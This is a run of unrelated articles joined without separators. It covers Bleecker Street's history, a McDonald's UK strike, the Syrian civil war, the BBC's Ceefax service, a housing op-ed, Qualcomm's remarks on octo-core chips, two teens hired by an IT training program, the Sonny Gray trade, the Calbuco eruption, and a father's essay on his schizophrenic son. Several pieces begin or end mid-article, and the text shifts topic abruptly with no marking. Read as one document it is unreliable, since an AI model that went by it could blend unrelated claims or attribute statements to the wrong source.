As wealthier residents moved north before and after the war, the once-elegant homes on Bleecker Street became the center of the boarding-house trade. In the words of the 1857 treatise The Physiology of New-York Boarding-Houses, any building "that is not a shop may be safely assumed" to be devoted to "the accommodation of the boarding public. On summer evenings not a stoop but has its knot of male boarders 'cooling off' after the heat of the day; not an open parlor-window but frames loveliness…the whole thoroughfare, indeed, presenting a continuous gallery of metropolitan manhood and femininity." As manufacturing filled up present-day SoHo and the area east of Washington Square, these boarding houses would have been conveniently located for workers who could only afford to commute on foot. In 1872, the hysterical (in every sense of the word) guidebook, Light and Shadows of New York Life, compared Bleecker Street and its vile "third-rate boarding houses and restaurants" to Paris's Latin Quarter, calling it New York's "headquarters of Bohemianism"—a description the Village has yet to shake, nearly a century and a half later.
Adding to the Bohemian nature of the street was the influx of Italians after that country's unification in 1870. While the number grew slowly (there were only 3,017 Italians in all of New York City in 1870), by 1920 over half of the residents of the Village had either been born in Italy or were first-generation Italian-Americans. This demographic shift forever altered the complexion of Bleecker and the surrounding streets. Not only were the boarding houses turned into tenements, but the shops, restaurants, and cafes were primarily run by Italians, and catered to an eclectic crowd of working-class Italians who dined and drank side-by-side with the writers, poets, and Bohemians drawn from other parts of the Village. Perhaps the most famous eatery, Mori's, was headquartered in old Carroll Place homes at Nos. 144-146. Meanwhile, DePau Row was torn down in 1895 so that Mills House No. 1, a model tenement designed by Ernest Flagg, could go up in its place. Housing only single men, the hotel could accommodate 1,500 lodgers at a time; these men were locked out during the day to encourage them to find work. Many ended up in the bars over on the Bowery, where a nickel beer came with access to the buffet (hence the signs "No Free Lunch"), further hastening that street's identification as Manhattan's skid row.
As the Italian character of the street grew, the centerpiece of the neighborhood was the parish of Our Lady of Pompeii, established in 1892 and now located at the corner of Bleecker and Carmine, which continues to serve as the focal point of the Italian presence in the South Village. The blocks of Bleecker Street west of Father Demo Square (named for the longtime pastor of Our Lady of Pompeii) still house multigenerational Italian businesses, from the famous John's Pizza to Porto Rico Importing Company to Ottomanelli butcher shop.
By the 1950s, Bleecker rivaled Mulberry in the public's imagination as the center of Little Italy, and in 1954, Gian Carlo Menotti wrote The Saint of Bleecker Street, a grand opera about the neighborhood that won him the Pulitzer Prize. Around the same time, the Amato Opera company premiered its first work in the parish hall of Our Lady of Pompeii; soon, the Amatos had leased a theater space at 159-161 Bleecker to be the opera company's headquarters. (In 1964, the company moved to the Bowery, where it remained until it closed in 2009.)
But the character of the neighborhood was changing again. Middle-class Italians were leaving Manhattan altogether for the outer boroughs, Long Island, and New Jersey. A new generation of writers—the Beats—were drawn to the area's cafes. Allen Ginsberg lived at Mills House No. 1 in 1951 at the rate of $2 a day; he hung out at Cafe Figaro at Nos. 184-186 (now gone, though you can still see the original awning on the second-floor windows) with Williams S. Burroughs, Greg Corso—who'd been born down the street—Jackson Pollock, James Baldwin, Bob Dylan...the list is endless. One Figaro regular was Miles Davis, who played the Village Gate, a club that opened in the basement of the Mills House in 1958. (It, too, is only survived by a second-story sign.) Another hangout in the building was the Mills Tavern, where Bob Dylan recalled in his autobiography, Chronicles, Volume One, that he and other "basket-house singers would bunch up, chitchat and make the scene."
Bleecker Street was so central to the music scene that Paul Simon named a song after it on Simon and Garfunkel's debut album in 1963; two years later, Fred Neil—who'd given Dylan his first break—released the album Bleecker and MacDougal, a signpost directing wannabe folk singers to the epicenter of the Village. Music venues proliferated: The Bitter End at No. 147 opened its doors in 1961, and was later the place that Dylan planned his Rolling Thunder Review. Nearby, the Cafe Au Go Go (now gone) shot to fame soon after its opening in 1964, when Lenny Bruce was convicted for using obscenities in his standup act. (Bruce died before his attorneys could successfully appeal the verdict.)
[Washington Square Village. Image via Wikimedia Commons.]
As music was coming to define Bleecker Street near MacDougal, the area further east was being bulldozed. In the mid-1950s, everything between Bleecker and Houston Street bounded by Mercer Street and West Broadway (including any remains of LeRoy Place) was torn down as part of a massive Title I housing project under the aegis of Robert Moses. The new Washington Square Village—now owned by NYU—contained nearly 1,300 apartments and effectively killed Bleecker Street. Today, Bleecker exists in two sections: the small area between the Bowery and Broadway, and the area west of LaGuardia Place. Everything between has withered.
The most recent chapter in the history of Bleecker Street has mirrored the city's overall homogenization during the past two decades. In the 1960s, Mori's restaurant became the Bleecker Street Theater, an independent movie house that held on until 1990—but the space is now a Duane Reade. West of Seventh Avenue in what were once only residential blocks, higher-end shops like Marc Jacobs, Calvin Klein, and Magnolia Bakery—which rocketed to fame thanks to Sex and the City—are the only ones that can keep pace with the rising retail rents. For years, Abbie Hoffman's Yippies were located near the Bowery at 9 Bleecker, now becoming a boxing gym.
Still, too many remnants of old Bleecker Street persist for it to lose its charm. The old Amato Opera space at No. 159—which later housed the Circle in the Square theater—is now The Market NYC, a collective of artisan shops reminiscent of the small stores that once lined that section of Bleecker. The Village Gate may be gone, but Le Poisson Rouge curates eclectic musical offerings in the same space, and the Italian cafes on and around Bleecker feel more authentically Italian than anything on nearby Mulberry Street.
In "Bleecker Street," Simon and Garfunkel sang, "A poet reads his crooked rhyme / Holy, holy is his sacrament / Thirty dollars pays your rent / On Bleecker Street." The thirty-dollar rent may be long gone (even Ginsberg paid twice that at Mills House, which was essentially an SRO), but the poetry is still there, woven into the bricks and mortar of the buildings by generations of New Yorkers.
· Bleecker Street coverage [Curbed]
McDonald's workers are staging their first UK strike after walking out at two stores in a dispute over zero-hours contracts and conditions.
Some workers at Cambridge and Crayford, south-east London, began the 24-hour action at midnight. A union called it a "brave" move by low-paid staff.
The Bakers, Food and Allied Workers Union said staff wanted a wage of at least £10 an hour and more secure jobs.
McDonald's said only 14 of the 33 union members balloted had joined in.
"A small number of our people representing less than 0.01% of our workforce took strike action in two of our 1,270 UK restaurants," said the company.
"As per the terms of the ballot, the dispute is solely related to our internal grievance procedures and not concerning pay or contracts."
But Ian Hodson, the union's president, disputed that.
"For far too long, workers in fast food restaurants such as McDonald's have had to deal with poor working conditions, drastic cuts to employee hours, and even bullying in the workplace - viewed by many as a punishment for joining a union," he said.
Hours cut down
Speaking to the BBC, at a union protest near the Houses of Parliament in London, two of the striking McDonald's employees outlined their grievances.
Image caption Shen Batmaz, a striking member of staff from south-east London
Shen Batmaz, who serves customers in the company's Crayford branch, said that being on a zero-hours contract meant that some staff were anxious about going to work because they feared being bullied.
"Zero-hours contracts are the reasons why bullying managers can cut down on our shifts drastically," she said.
"When we had a bullying business manager in, when I stood up to him my hours were cut down from four days a week to one.
"A friend had the same shift pattern for five years but when he stood up to the bullying manager, he was cut down from five days a week to one," she said.
Image caption Steve Day, a striking staff member from the McDonald's branch in Cambridge
Steve Day, a McDonald's worker from Cambridge, said encouraging his colleagues to join the BFAWU and go on strike had been very difficult and 10 staff out of about 90 had travelled to the protest in London.
"We have had managers from everywhere coming into our store, the place has been crawling with them, our main organiser in Cambridge is followed everywhere, it's like we are being policed," he said.
What's it really like to work at McDonald's?
'Everything I needed to know I learned in McDonald's'
Three pay rises
McDonald's, which employs about 85,000 people in the UK, announced in April that workers would be offered a choice of flexible or fixed contracts with minimum guaranteed hours, saying that 86% had chosen to stay on flexible contracts.
And it pointed to a series of pay rises as evidence that it treated its staff well.
"McDonald's UK and its franchisees have delivered three pay rises since April 2016, this has increased the average hourly pay rate by 15%," said the firm.
The union has taken advice from protesters in the US and New Zealand who have campaigned for better conditions at McDonald's there, Mr Hodson said.
The staff have also won backing from Labour leader Jeremy Corbyn.
"Our party offers support and solidarity to the brave McDonald's workers, who are making history today," he said.
The Syrian civil war, also known as the Syrian uprising[1] or Syrian crisis (Arabic: الأزمة السورية‎),[2] is an ongoing armed conflict in Syria. It is a conflict between forces of the Ba'ath government and forces who want to remove this government. The conflict began on 15 March 2011, with demonstrations. These demonstrations were like demonstrations held in other Arab countries, which has been called the Arab Spring. Protesters in Syria demanded the resignation of President Bashar al-Assad. His family has held the presidency in Syria since 1971. Many of Assad's supporters are Shia while the majority of the government opposition is Sunni.
In April 2011, the Syrian Army fired on demonstrators across the country.[3] After months of military battles,[4] the protests turned into an armed rebellion. Opposition forces were soldiers who had left the Syrian army and civilian volunteers. Opposition fighters had no central leadership.[5] Battles took place in many towns and cities across the country.[6] In late 2011 the Islamist group al-Nusra Front began to have a bigger role in the forces. In 2013 Hezbollah entered the war in support of the Syrian army.[7][8]
The Syrian government received military support from Russia and Iran. Qatar and Saudi Arabia gave weapons to the rebels.[9] By July 2013, the Syrian government controlled approximately 30–40 percent of the country's territory and 60 percent of the Syrian population.[10] A 2012 UN report said the battles were between different sects or groups.[11] The battles were between Shia groups against Sunni rebel groups,.[12][13][14]
According to the United Nations, over 100,000 people were killed by June 2013. A total of 120,000 were killed by September 2013.[15] In addition, tens of thousands of protesters were put in jail. There were reports that the Syrian government was torturing prisoners.[16] International organizations accused both government and opposition forces of breaching human rights.[17] The UN said most of the abuses were carried out by the Syrian government.[18][19][20][21][22] More than 4 million Syrians were forced to relocate because of the battles and more than 2 million refugees left their country. Millions of citizens are still short of electricity, food and drinking water.[23]
In 2013 the Syrian regime used Chemical weapons against the rebels. This drew attention from the international community.[24] The government reportedly surrendered their chemical weapons in 2014 but continued the war using other weapons. Later in 2014, the Islamic State of Iraq and the Levant became the most powerful opposing army, controlling more territory than the Syrian government itself.
Early electro-mechanical system Edit
During the late 1960s, engineers Geoff Larkby and Barry Pyatt, at the Designs Department (Television Group) of the BBC, worked on an experimental analogue text transmission system. Its object was to transmit a printable page of text during the nocturnal "close-down" period of normal television transmission. Sir Hugh Carleton Greene, then Director General of the BBC, was interested in making farming and stock-market prices available as hard copy via the dormant TV transmitters. The remit received by BBC Designs Department was "the equivalent of one page of The Times newspaper to be transmitted during shut-down".
Their system employed a modified, Alexander Muirhead designed, rotating drum, facsimile transmitter, and Larkby & Pyatt's own, unique, design of hard-copy printer. This printer used pressure-sensitive "till-roll" paper passing over a drum with a raised helix of steel wire. The drum was synchronised with the transmission drum by means of the "Start of Page", and "Start of Line" information inherent in the Muirhead system. Printing was effected by a hardened steel blade driven by, initially, a loudspeaker-type moving coil, then by a printed-circuit coil, and finally by a special ceramic piezo element manufactured by Brush-Clevite. The combination of rotating helix and oscillating moving blade, with the till-roll paper moving linearly between them, enabled a raster to be drawn on the paper.
This early electro-mechanical system was nicknamed BEEBFAX – "Beeb" was the contemporary popular name for the BBC, and "fax" from the facsimile machine. Initial tests were conducted by sending scans of Christmas Cards over the internal telephone system from London to Bristol in 1969.
The system was less than popular in the Designs Department laboratory, due to the clatter of the Muirhead facsimile, and the whining of the printer, so the project was shelved. Messrs Larkby & Pyatt went on to propose several improvements using digital technology, but the electro-mechanical system was finally scrapped in 1970.
Fully-electronic version Edit
Early test data being received in 1972 - a pangram and numbers
The idea was later taken up again, this time in digital and on-screen form, under the new name of CEEFAX, and the new system was announced in October 1972, and following test transmissions in 1972–74, the Ceefax system went live on 23 September 1974 with thirty pages of information. Created in the United Kingdom in the early 1970s by the Philips Lead Designer for VDUs, John Adams whose design was given to the BBC so they could start transmission. BBC were working on ways of providing televisual subtitles for the deaf, it was the first teletext system in the world. James Redmond, the BBC's Director of Engineering at the time, was a particular enthusiast. Other broadcasters soon took up the idea, including the Independent Broadcasting Authority (IBA), who had developed the incompatible ORACLE teletext system, at around the same time. Before the Internet and the World Wide Web become popular, Ceefax pages were often the first location to report a breaking story or headline.
After technical negotiations, the two broadcasters settled in 1974 on a single standard, different from both Ceefax and ORACLE, which ultimately developed into World System Teletext (1976), and which remained in use for analogue broadcasts until 2012. The display format of 24 rows by 40 columns of characters was also adopted for the Prestel system.
The technology became the standard European teletext system and replaced other standards, including the Antiope system formerly used in France.
In 1983, Ceefax started to broadcast computer programs, known as telesoftware, for the BBC Micro (a home computer available in the United Kingdom). The telesoftware broadcasts stopped in 1989. A similar idea was the French C Plus Direct satellite channel which used different, higher speed technology to broadcast PC software.
The basic technology of Ceefax remained compatible with the 1976 unified rollout; system elaborations in later years were made such that earlier receivers were still able to do a basic decode of pages, but would simply ignore enhanced information rather than showing corrupted data. For example, early receivers could not process the FasText coloured-button hyperlinking data, but were able to ignore it.
Modern day Edit
A BBC Ceefax page from 5 October 2008
The final seconds of live broadcast, before the final switch off
From Monday 21 March 1983, BBC1 started to air a selection of Ceefax pages every weekday morning at 6.00am called "Ceefax AM" which would lead into the start of BBC Breakfast Time at 6.30am. From Monday 9 January 1984, BBC1 would air large amounts of content from Ceefax under the title "Pages from Ceefax" during their weekday daytime hours, as BBC1 did not have a codified daytime schedule in place for many reasons. This situation continued until Monday 27 October 1986, when BBC1 launched a full linked daytime schedule, with "Pages from Ceefax" now relegated to just less than an hour or so each weekday from 6.00am.
Over on BBC2 from Monday 9 January 1984, a selection of Ceefax pages would air for a large part of their broadcast day, especially when schools programmes were not on the air. On many occasions from 1984, Pages from Ceefax would air from 9.00am until the start of regular BBC2 programming around 5.30pm. Gradually over time, Ceefax pages on BBC2 were reduced, and by the start of the 1990s were only on the channel at short periods during their broadcasting day.
Until 2012, the BBC's Ceefax service was still providing information on topics covering News, Sport, Weather, TV Listings and Businesses. The pages were kept up to date until the UK digital switchover was completed on Tuesday 23 October 2012.
In 2002, the BBC stopped broadcasting Ceefax on the digital satellite Sky Digital service, but later brought back a limited service including a TV schedule for BBC One and BBC Two; and subtitles.
The BBC has tried to reuse the old Ceefax page numbers where possible on the Freeview and digital satellite BBC Red Button Ceefax-replacement services.[4]
It was announced that Ceefax would not be replaced when the analogue signal was switched off in October 2012.[1][2] The BBC Red Button service is seen as an alternative to Ceefax and since 2007 the number of regions with a Ceefax supported analogue signal had declined as digital switchover progressed across the UK.[5] As of the end of 2011, three quarters of the UK TV regions had completed or were in the process of being switched over.[6]
Ceefax was the last remaining text service available via analogue TV transmissions in the UK, as ITV and Channel 4's Teletext service closed in December 2009. Channel 5's "Five Text" ancillary service closed in 2011. A limited analogue teletext service through ITV and Channel 4 was still available through terrestrial until the digital switchover was completed on 23 October 2012.
At 23:32:19 BST on 23 October 2012, Ceefax was switched off after 38 years of providing news, weather and sport information when the Olympic Games champion Dame Mary Peters turned off the last analogue TV signal in Northern Ireland. A series of graphics on Ceefax's front page marked its 38 years on the BBC.[7] BBC News' website also has memories of Ceefax.[8]
The St Vincent de Paul Society has no ideological axe to grind but we have been in the habit, since 1833, of asking why a significant number of people, even in prosperous countries, don't get to enjoy the necessities of life. Our founder, Frederic Ozanam, a French university student, wrote: 'Charity is the Samaritan who pours oil on the wounds of the traveller who has been attacked. It is the role of justice to prevent the attack.'
This is why we refuse to accept the dystopian vision of an Australia in which people experiencing poverty are made to shoulder the burden of expenditure cuts while the people who have the least need for assistance enjoy overly generous tax concessions. From time to time someone comes out of the woodwork and accuses us of being communists but that's the least of our worries.
What does worry us right now is the perpetuation of the myth that people living in poverty are to blame for their own situation. This position is ideological and it flies in the face of everything we see.
We see people desperate to make ends meet, people who are locked out of both the labour market and the housing market, often without even a place they can call home. We see a housing market that is notoriously bad at providing affordable housing for low income families and individuals.
Our members recently met a mum with three boys under the age of ten, who had to sleep on the floor in the lounge area because the bedroom regularly flooded. There was no written lease agreement and no hot water for six months. It's easy to sit back and blame the mother for moving her children into a hovel, but there's the rub. When income is severely constrained and choices are non-existent, it's often a matter of accepting grossly inappropriate and insecure housing or sleeping in a car.
Instead of gleefully bagging the National Rental Affordability Scheme let's do something to ensure that people don't have to chose between a hovel and a Holden as the place they call home.
By all means, let's improve the NRAS where improvements are to be made, but if we are serious about ensuring that housing is enjoyed as a human right by all, and not a matter of luck for some, then we actually need to invest more in the NRAS and in other means of increasing the supply of social and affordable housing.
We also need to increase Rent Assistance, indexing it to changes in the average private rental costs, which, over the last five years, have seen increases 12.3 per cent higher than the CPI. And we need to look seriously at the current structure of negative gearing so that rather than increasing speculative investment we actually increase the supply of affordable housing.
The Government's silence on the future of homelessness funding is a disturbing sign. This Government has the opportunity to demonstrate a strong commitment to halving homelessness by 2020. This means consolidating and improving on gains rather than creating uncertainty even over the funding status quo. It is homelessness itself that we must cut, not the spending on homelessness. Everyone has the right to a place to call home. The housing market fails to deliver on this basic human right. Governments must therefore do what markets cannot.
Dr John Falzon is Chief Executive of the St Vincent de Paul Society National Council and is author of The language of the unheard.
"We don't do dumb things," Qualcomm SVP and marketing headman Anand Chandrasekher said in response to a question during a Q&A session after his remarks at a Taiwan media roundtable this Wednesday.
"When you can't engineer a product that meets the consumers' expectations, maybe that's when you resort to simply throwing cores together – that is the equivalent of throwing spaghetti against the wall and seeing what sticks," he said.
"That's a dumb way to do it, and I think our engineers aren't dumb."
Taiwan's MediaTek and Korea's Samsung disagree – although those two companies take quite different approaches in their octo-core designs. MediaTek recently announced its True Octo-Core chip for mobile devices. This chip, as its name implies, houses eight coequal cores that can be fired up as needed, with all eight capable of working together, or separately on multitasking operations.
Samsung's Exynos 5 Octa (recently fingered in a benchmark-boosting brouhaha) takes another route to octo-coreness, using ARM's big.LITTLE scheme of marrying high-performance and low-power cores on the same chip – in this case, four high-performance ARM Cortex-A15 cores and four low-power ARM Cortex-A7 cores – and switching among them as power and performance needs require. (MediaTek also offers a quad-core big.LITTLE chip.).
But don't expect Qualcomm to employ either of those design tactics – not if ex-Intel mobile man Chandrasekher wasn't blowing smoke during his Taiwan remarks.
"We don't believe the best experience is defined by the number of cores," Chandrasekher said. "That's actually a very silly way to think about delivering the capabilities that the consumer needs."
When asked specifically about Qualcomm's competitor – presumably MediaTek – having announced an octo-core product, he was dismissive. "I'm not a huge fan of what they are doing. I personally don't think it is going to be very successful in the marketplace," he said.
"You can't take eight lawnmower engines, put them together and now claim you have an eight-cylinder Ferrari."
According to WJLA, Nolan White and Devin Gatewood — both 17 years old — have been recruited by Raymond Bell, founder and administrator of the Washington-based H.O.P.E. Project, who will train them to work for him as iPhone screen replacement technicians over the summer.
Bell's H.O.P.E. Project — acronymous for Helping Other People Excel — is an information technology training program for young adults, according to its website. Bell told WJLA that the boys would be working toward I.T. certifications during their tenure with him.
"I feel like it was a bad situation turned into a good situation," Gatewood told WJLA. "I feel like I'm progressing and found a new way to hustle."
White and Gatewood first came to Bell's attention via a Twitter post that went viral last week. In a series of photographs Thursday, user Tim Krepp documented the two boys and one of their friends being cuffed by Park Police for selling water bottles without a permit on the National Mall.
The post has since amassed more than 15,000 retweets, and prompted Bell to reach out to the boys' parents with job opportunities for their sons (he is also trying to get in touch with the third boy).
"I'm an entrepreneur myself and I love seeing young people having an interest in working for themselves," Bell told WJLA.
Gray joins a Yankees rotation that lost Michael Pineda to Tommy John surgery this month, but added Jaime Garcia in a trade with the Twins. With C.C. Sabathia, Masahiro Tanaka, Luis Severino, and Jordan Montgomery also in the mix, the Yankees have a rotation logjam. Yankees manager Joe Girardi nixed the idea of a six-man rotation, so it seems Montgomery will move to the bullpen or to Triple-A, according to Curry. Sabathia and Garcia are headed to free agency after the season, and Tanaka can join them if he chooses to exercise his opt-out clause. Gray adds veteran stability for the 2018 and 2019 seasons.
Gray, 27, was drafted 18th overall by the Athletics in 2011 out of Vanderbilt. He excelled from 2013-15, posting a 2.88 ERA over 491 innings. 2016, however, was a lost year for Gray as he endured DL stints for a strained right trapezius as well as a forearm injury. This year, Gray is back on track with a 3.43 ERA in 16 starts, as well as his best strikeout rate since his rookie year. Gray, who is listed at 5’10”, is one of the most successful starting pitchers of this height since the Dead Ball Era, to this point in his career. With the Cubs having acquired Jose Quintana several weeks ago, Gray was the big prize of the 2017 MLB trade deadline.
In the end, the Athletics were unable to pry loose the Yankees’ top three prospects: Gleyber Torres, Clint Frazier, and Chance Adams. Fowler, a 22-year-old outfield prospect, suffered a major knee injury in the first inning of his Major League debut last month. The open rupture in his right patella tendon resulted in season-ending surgery. MLB.com ranked Fowler fourth among Yankees prospects, citing a potential five-tool ceiling. Now, Fowler will likely make his first MLB plate appearance in 2018 as a member of the Athletics.
Mateo, 22, was ranked eighth among Yankees prospects by MLB.com. Mateo has what Baseball America describes as “80-grade speed,” and this year he’s spent most of his time at center field and shortstop. He was promoted to Double-A in late June, and has flourished with a .300/.381/.525 line in 140 plate appearances. Mateo was the key to the deal for Oakland, according to Susan Slusser of the San Francisco Chronicle.
Kaprielian, 23, was drafted 16th overall out of UCLA by the Yankees in 2015. He suffered a flexor tendon strain last summer that eventually led to Tommy John surgery in April of this year. He is expected to begin a throwing program next month. MLB.com ranks Kaprielian 12th among Yankees prospects. Last winter, Baseball America wrote that the righty had “front-of-the-rotation makeup and stuff with a well below-average delivery.”
Prior to adding Garcia and Gray to their rotation, the Yankees completed a mid-month blockbuster with the White Sox that brought in David Robertson and Tommy Kahnle for bullpen help and Todd Frazier to contribute at the infield corners. The Yankees hold just a half game lead over the Red Sox for the AL East, with a Wild Card berth a possible alternative.
The last-place A’s also shed a pair of bullpen pieces earlier this month, sending Sean Doolittle and Ryan Madson to the Nationals. The Gray trade is another in which they’ve moved veteran pitchers (and their salaries, although Gray’s salary was not a primary factor in this deal) for younger talent.
Chile's Onemi emergency office declared a red alert following the sudden eruption at around 1800 local time (2100 GMT), which occurred about 1,000 km (625 miles) south of the capital Santiago near the tourist town of Puerto Varas.
About 1,500 people were being moved out of the area and an evacuation radius of 20 kilometers has been established, authorities said.
Trevor Moffat, who lives in Ensenada, some 10 kilometers from the volcano, said the eruption happened without warning. Volcano Calbuco's last major eruption happened in 1961.
"It sounded like a big tractor trailer passing by the road, rattling and shaking, guttural rumbling ... we left everything there, grabbed my kid, my dog, got in the car with my wife," said Moffat.
"All the neighbors were outside, a lot of young people crying. Armageddon type reaction," said Canada-born Moffat, who was driving to nearby Puerto Varas.
Television pictures showed a spectacular mushroom-shaped column billowing into the sky with occasional lighting bolts shooting through. The eruption was seen in other towns at least 50 kilometers away.
"There are a lot of people out in the streets, many heading to the gas stations to fill up on gas," Derek Way, a resident of Puerto Varas, told Reuters.
"A friend told me to fill everything we have with water," said Way.
Chile, on the Pacific 'Rim of Fire', has the second largest chain of volcanoes in the world after Indonesia, including around 500 that are potentially active.
In March, volcano Villarrica, also in southern Chile, erupted in spectacular fashion, sending a plume of ash and lava high into the sky, but quickly subsided. (Reuters)
My son is schizophrenic. The ‘reforms’ that I worked for have worsened his life.
By Paul Gionfriddo,
If you were to encounter my son, Tim, a tall, gaunt man in ragged clothes, on a San Francisco street, you might step away from him. His clothes, his dark unshaven face and his wild curly hair stamp him as the stereotype of the chronically mentally ill street person.
People are afraid of what they see when they glance at Tim. Policymakers pass ordinances to keep people who look like him at arm’s length. But when you look just a little more closely, what you find is a young man with a sly smile, quick wit and an inquisitive mind who — when he’s healthy — bears a striking resemblance to the youthful Muhammad Ali.
Tim is homeless. But when he was a toddler, my colleagues in the Connecticut state legislature couldn’t get enough of cuddling him. Yet it’s the policies of my generation of policymakers that put that formerly adorable toddler — now a troubled 6-foot-5 adult — on the street. And unless something changes, the policies of today’s generation of policymakers will keep him there.
How it went wrong
I was 25 years old in 1978 when I entered the Connecticut House. I had a seat on the Appropriations Committee and, as the person with the least seniority, was assigned last to my subcommittees. “You’re going to be on the Health subcommittee,” the committee chairs informed me. “But I don’t want to be on Health,” I complained. “Neither does anyone else,” they said. Six weeks into my legislative career, I was the legislature’s reluctant new expert on mental health.
The 1980s was the decade when many of the state’s large mental hospitals were emptied. After years of neglect, the hospitals’ programs and buildings were in decay. In my new legislative role, I jumped at the opportunity to move people out of “those places.” I initiated funding for community mental health and substance abuse treatment programs for adults, returned young people from institution-based “special school districts” to schools in their home towns and provided for care coordinators to help manage the transition of people back into the community.
Critical misjudgements
But we legislators in Connecticut and many other states made a series of critical misjudgments.
First, we didn’t understand how poorly prepared the public schools were to educate children with serious mental illnesses.
Second, we didn’t adequately fund community agencies to meet new demands for community mental health services — ultimately forcing our county jails to fill the void.
And third, we didn’t realize how important it would be to create collaborations among educators, primary-care clinicians, mental-health professionals, social-services providers, even members of the criminal justice system, to give people with serious mental illnesses a reasonable chance of living successfully in the community.
During the 25 years since, I’ve experienced firsthand the devastating consequences of these mistakes.
Every year, one in every five children and one in every four adults has a diagnosable mental illness. A quarter of all mental illnesses are considered serious. Until Tim came into my life in 1985, I had no experience with mental illness in my immediate family.
Problems in kindergarten
As with many other chronic diseases, the symptoms of mental illness often sneak up slowly. Beginning in kindergarten, Tim had persistent problems making friends, keeping his focus and following directions. He was usually gentle. But he also had a scarily short fuse. He slept poorly at night and reported that he “got yelled at a lot” in school.
I can’t point to a single time when I first realized Tim’s problems were not just normal. The day he lay down in the middle of the road — just to see if a car would run him over — comes to mind, however.
Tim’s mental illness turned out to be a serious one — schizophrenia — but the disease wasn’t diagnosed until he was 17, after he’d been sick for more than a decade. That’s pretty much the norm for serious mental illness: Typically, 10 years pass from the time people show symptoms of mental illness to the time they receive appropriate treatment.
When Tim entered elementary school, it took us three years to convince school officials that his symptoms weren’t caused by problems with Tim’s having been adopted, his racial identity (we’re white, he’s black) or our parenting. That by then we had three children younger than Tim who also were adopted transracially and were thriving helped make our case. The school’s evaluations suggested he had what was then called attention deficit disorder and some learning disabilities. He was admitted into special education, and the school drew up a mandated individualized education plan (IEP) for him. It focused mostly on helping with his organizational skills and, at the school’s insistence, his “self-esteem.”
Tim’s mental illness wasn’t being addressed, though. And it turned out that Tim probably didn’t really have attention deficit disorder. Soon his symptoms grew worse. On many nights, he wandered the house instead of sleeping. One day, after his 5-year-old brother had broken one of Tim’s prized toys, Tim pulled a knife from a kitchen drawer to attack him. It was a few weeks after that, on a cold winter night, that he suddenly raced out of the house wearing nothing but his underwear, strapped on a pair of in-line skates and went skating down the middle of a busy state highway. He began to report that he was hearing voices.
Tim was finally hospitalized as he turned 11, and he received a diagnosis of a sleep disorder, depression and, after a year of counseling, post-traumatic stress disorder.
Tim’s IEP clearly needed to be revised after he received his new diagnoses. But his principal told me repeatedly that “he just needs to follow the rules,” as if Tim could will away his illness. In a due-process hearing we then demanded, Tim’s special education teacher declared that Tim’s biggest problem was “overprotective parents.”
Blaming people with mental illness — or their families — for the mental illness isn’t new. And it carries a cost. The cost to Tim: Beginning in sixth grade, he would never complete another full year of school on schedule.
The fragmented years
What followed were many years during which one public school after another knew it couldn’t educate my son but had nothing to offer, holding him back in one case and bumping him ahead in another.
Trouble seemed to find him. Self-medicating with marijuana, Tim’s drug of choice for lowering the volume of the voices in his head, got him suspended from the first high school he attended — a public, vocational-technical school in Middletown, Conn. — and placed on court-ordered probation. Fighting with another student got him expelled from the next one, a private boarding school that the juvenile court and school system had sent him to in Idaho.
Back in Connecticut after being arrested for trespassing, he was placed in a teen mental-health inpatient program by the juvenile court. Fighting with another student also got him expelled from the fourth school, a small, private school that specialized in educating teenagers who had had trouble succeeding in regular high schools. A public high school in Austin, where I’d moved after his mother and I divorced, then admitted him because the law required it to, but only for the last six weeks of the school year. It provided no IEP and essentially lost track of him.
During a span of 30 months, those five schools were Tim’s “freshman year.” Had educators actively sought input from outside mental health professionals, they might have seen that Tim’s illness was beginning to overwhelm him: “I’m in a tired, tired state all day,” he told one counselor. “I worry about stuff a lot. I don’t like having friends; it’s hard to find people who are like me. When I’m really, really sad, I cry. When I’m a little sad, I sit and stare.”
Insurer made matters worse
On more than one occasion, my insurance company also contributed to Tim’s problems. Here are two examples among many:
●When Tim was 15 and needed to be hospitalized while in Idaho, my insurer forced his discharge to a non-secure residential drug rehab program in Connecticut — even though Tim wasn’t using drugs at the time. He ran away 72 hours later. That led to his arrest for trespassing and a six-week stay in juvenile detention.
●When Tim was 17, he was hospitalized while visiting his mother in Connecticut. My insurer refused to authorize more than a few days of inpatient treatment, and so the hospital discharged him before he was stable. Soon I found him camping outside my home in his underwear in near-freezing temperatures, and I had to hospitalize him again. Afterward, my insurer said that because of his history, Tim now was eligible for enhanced case-management services. It also said that he’d exhausted his lifetime benefits.
When Tim turned 18, he had no high school diploma, no job prospects and a debilitating mental illness. Legally an adult, he also decided he wanted to live on his own. With a brand-new diagnosis of schizophrenia, Tim was eligible for a variety of support services, but he now told us he didn’t want them. He was tired of counseling and he didn’t like the side effects of the antipsychotic drugs prescribed for him. He also didn’t want a caseworker checking in on him.
He got his wish. None of the overextended caseworkers assigned to him had time to devote to an unwilling client such as Tim.
I found him supported housing three times in three years, but he was evicted each time for various infractions. When Tim finally found a landlord willing to rent him a place on his own, the mental health agency’s housing personnel gave him a bad reference. That kept Tim living on the streets, and eventually he drifted into homelessness and incarceration. When he was in jail, with its regular routines and meals, Tim usually stabilized. But when he was released — because he went back to the streets instead of to a service provider — he destabilized right away, which in his case meant becoming highly agitated and paranoid, and hearing voices.
In 2008, at age 23, Tim moved to San Francisco and has lived mostly on the streets there ever since.
The last time I visited him, he was holed up for a while in a small room a caseworker had found him in a Mission District rooming house. His only furniture was a bare mattress on the floor; a rat and flies were his companions. Sadly, he seemed content.
This is the mental health delivery system that I helped build.
What I realize now
More than one educator has told me that I shouldn’t blame the schools: Their purpose is to educate children, not to treat them. I understand this. But I also learned from personal experience that ignoring a child’s special needs makes meaningless the special-education concepts of “appropriate” and “least restrictive” education that are embodied in the laws we passed.
These terminologies — and the realities they represent — were things that policymakers thought about too narrowly. The word “disability,” for instance, should have covered Tim and children like him. But as a friend who worked a generation ago on drafting the regulations for the federal government’s Individuals with Disabilities Education Act told me, “Paul, we were thinking of kids in wheelchairs.”
It’s no wonder that children like Tim graduate from one kind of cell to another when they grow up. On the basis solely of the numbers of people with mental illness who are incarcerated in them, the three largest “mental health facilities” in the nation are Riker’s Island in New York, the Cook County Jail in Illinois and the Los Angeles County Jail. The two most stable addresses in Tim’s adult life have been the Travis County Correctional Complex in Del Valle, Tex., and the San Francisco County Jail.
If I were a legislator today, I’d mandate — and provide funding to ensure — that every teacher receive training in recognizing symptoms of mental illnesses. I’d see that pediatricians are trained to make screening for mental health concerns a regular part of well-child exams. I’d require school administrators to incorporate recommendations from pediatricians and mental health professionals into students’ IEPs.
